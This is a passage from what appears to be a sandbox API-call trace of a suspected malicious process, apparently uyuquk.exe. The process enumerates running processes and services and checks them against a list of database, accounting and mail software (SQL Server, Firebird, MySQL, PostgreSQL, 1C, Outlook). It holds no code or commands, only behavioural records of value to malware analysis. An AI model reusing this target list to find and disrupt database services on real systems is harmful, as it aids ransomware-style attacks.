lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.389] lstrlenW (lpString="svchost.exe") returned 11 [0240.389] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.390] lstrlenW (lpString="svchost.exe") returned 11 [0240.390] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0240.390] lstrlenW (lpString="userinit.exe") returned 12 [0240.390] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0240.390] lstrlenW (lpString="dwm.exe") returned 7 [0240.391] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0240.391] lstrlenW (lpString="explorer.exe") returned 12 [0240.391] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0240.391] lstrlenW (lpString="spoolsv.exe") returned 11 [0240.391] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0240.392] lstrlenW (lpString="taskhost.exe") returned 12 [0240.392] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.392] lstrlenW (lpString="svchost.exe") returned 11 [0240.392] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0240.392] lstrlenW (lpString="uyuquk.exe") returned 10 [0240.392] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0240.393] lstrlenW (lpString="reader_sl.exe") returned 13 [0240.393] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0240.393] lstrlenW (lpString="cmd.exe") returned 7 [0240.393] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0240.393] lstrlenW (lpString="conhost.exe") returned 11 [0240.393] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x5a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0240.394] lstrlenW (lpString="mode.com") returned 8 [0240.394] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0240.394] lstrlenW (lpString="dllhost.exe") returned 11 [0240.394] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0240.394] CloseHandle (hObject=0x204) returned 1 [0240.394] Sleep (dwMilliseconds=0x1f4) [0240.934] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aeb70 [0241.056] EnumServicesStatusExW (in: hSCManager=0x42aeb70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0241.057] GetLastError () returned 0xea [0241.057] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc9a) returned 0x42e73a0 [0241.057] EnumServicesStatusExW (in: hSCManager=0x42aeb70, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e73a0, cbBufSize=0xc9a, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e73a0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0241.057] CloseServiceHandle (hSCObject=0x42aeb70) returned 1 [0241.057] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0241.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0241.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0241.057] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0241.057] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0241.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0241.057] lstrlenW (lpString="AudioSrv") returned 8 [0241.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0241.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0241.057] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0241.057] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0241.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0241.057] lstrlenW (lpString="BFE") returned 3 [0241.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0241.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0241.058] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0241.058] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0241.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0241.058] lstrlenW (lpString="CryptSvc") returned 8 [0241.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0241.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0241.058] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0241.058] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0241.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0241.058] lstrlenW (lpString="CscService") returned 10 [0241.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0241.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0241.058] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0241.058] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0241.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0241.058] lstrlenW (lpString="DcomLaunch") returned 10 [0241.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0241.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0241.058] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0241.058] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0241.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0241.058] lstrlenW (lpString="Dhcp") returned 4 [0241.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0241.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0241.058] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0241.058] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0241.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0241.058] lstrlenW (lpString="Dnscache") returned 8 [0241.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0241.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0241.058] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0241.058] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0241.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0241.058] lstrlenW (lpString="DPS") returned 3 [0241.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0241.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0241.058] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0241.059] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0241.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0241.059] lstrlenW (lpString="eventlog") returned 8 [0241.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0241.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0241.059] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0241.059] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0241.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0241.059] lstrlenW (lpString="EventSystem") returned 11 [0241.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0241.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0241.059] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0241.059] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0241.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0241.059] lstrlenW (lpString="gpsvc") returned 5 [0241.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0241.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0241.059] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0241.059] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0241.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0241.059] lstrlenW (lpString="LanmanWorkstation") returned 17 [0241.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0241.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0241.059] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0241.059] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0241.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0241.059] lstrlenW (lpString="lmhosts") returned 7 [0241.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0241.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0241.059] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0241.059] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0241.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0241.059] lstrlenW (lpString="MMCSS") returned 5 [0241.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0241.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0241.059] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0241.060] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0241.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0241.060] lstrlenW (lpString="MpsSvc") returned 6 [0241.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0241.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0241.060] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0241.060] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0241.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0241.060] lstrlenW (lpString="NlaSvc") returned 6 [0241.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0241.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0241.060] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0241.060] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0241.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0241.060] lstrlenW (lpString="nsi") returned 3 [0241.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0241.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0241.060] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0241.060] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0241.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0241.060] lstrlenW (lpString="PcaSvc") returned 6 [0241.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0241.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0241.060] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0241.060] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0241.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0241.060] lstrlenW (lpString="PlugPlay") returned 8 [0241.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0241.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0241.060] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0241.060] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0241.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0241.060] lstrlenW (lpString="Power") returned 5 [0241.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0241.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0241.060] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0241.060] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0241.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0241.061] lstrlenW (lpString="ProfSvc") returned 7 [0241.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0241.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0241.061] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0241.061] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0241.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0241.061] lstrlenW (lpString="RpcEptMapper") returned 12 [0241.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0241.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0241.061] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0241.061] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0241.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0241.061] lstrlenW (lpString="RpcSs") returned 5 [0241.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0241.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0241.061] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0241.061] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0241.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0241.061] lstrlenW (lpString="SamSs") returned 5 [0241.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0241.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0241.061] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0241.061] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0241.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0241.061] lstrlenW (lpString="Schedule") returned 8 [0241.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0241.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0241.061] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0241.061] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0241.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0241.061] lstrlenW (lpString="SENS") returned 4 [0241.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0241.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0241.061] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0241.061] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0241.061] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0241.061] lstrlenW (lpString="ShellHWDetection") returned 16 [0241.061] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0241.061] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0241.062] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0241.062] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0241.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0241.062] lstrlenW (lpString="Spooler") returned 7 [0241.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0241.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0241.062] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0241.062] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0241.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0241.062] lstrlenW (lpString="Themes") returned 6 [0241.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0241.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0241.062] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0241.062] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0241.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0241.062] lstrlenW (lpString="UxSms") returned 5 [0241.062] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0241.062] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0241.062] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0241.062] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0241.062] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0241.062] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x42e73a0 | out: hHeap=0x530000) returned 1 [0241.062] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0241.064] Process32FirstW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.064] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0241.064] lstrlenW (lpString="System") returned 6 [0241.064] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0241.064] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0241.064] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0241.064] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0241.064] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0241.064] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0241.064] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0241.064] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0241.065] lstrlenW (lpString="smss.exe") returned 8 [0241.065] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0241.065] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0241.065] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0241.065] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0241.065] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0241.065] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0241.065] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0241.065] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.065] lstrlenW (lpString="csrss.exe") returned 9 [0241.065] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0241.065] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0241.065] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0241.065] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0241.065] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0241.065] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0241.065] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0241.065] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0241.066] lstrlenW (lpString="wininit.exe") returned 11 [0241.066] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0241.066] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0241.066] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0241.066] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0241.066] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0241.066] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0241.066] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0241.066] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.066] lstrlenW (lpString="csrss.exe") returned 9 [0241.066] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0241.066] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0241.066] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0241.066] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0241.066] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0241.066] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0241.066] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0241.066] Process32NextW (in: hSnapshot=0x204, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0241.066] lstrlenW (lpString="winlogon.exe") returned 12 [0241.066] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") 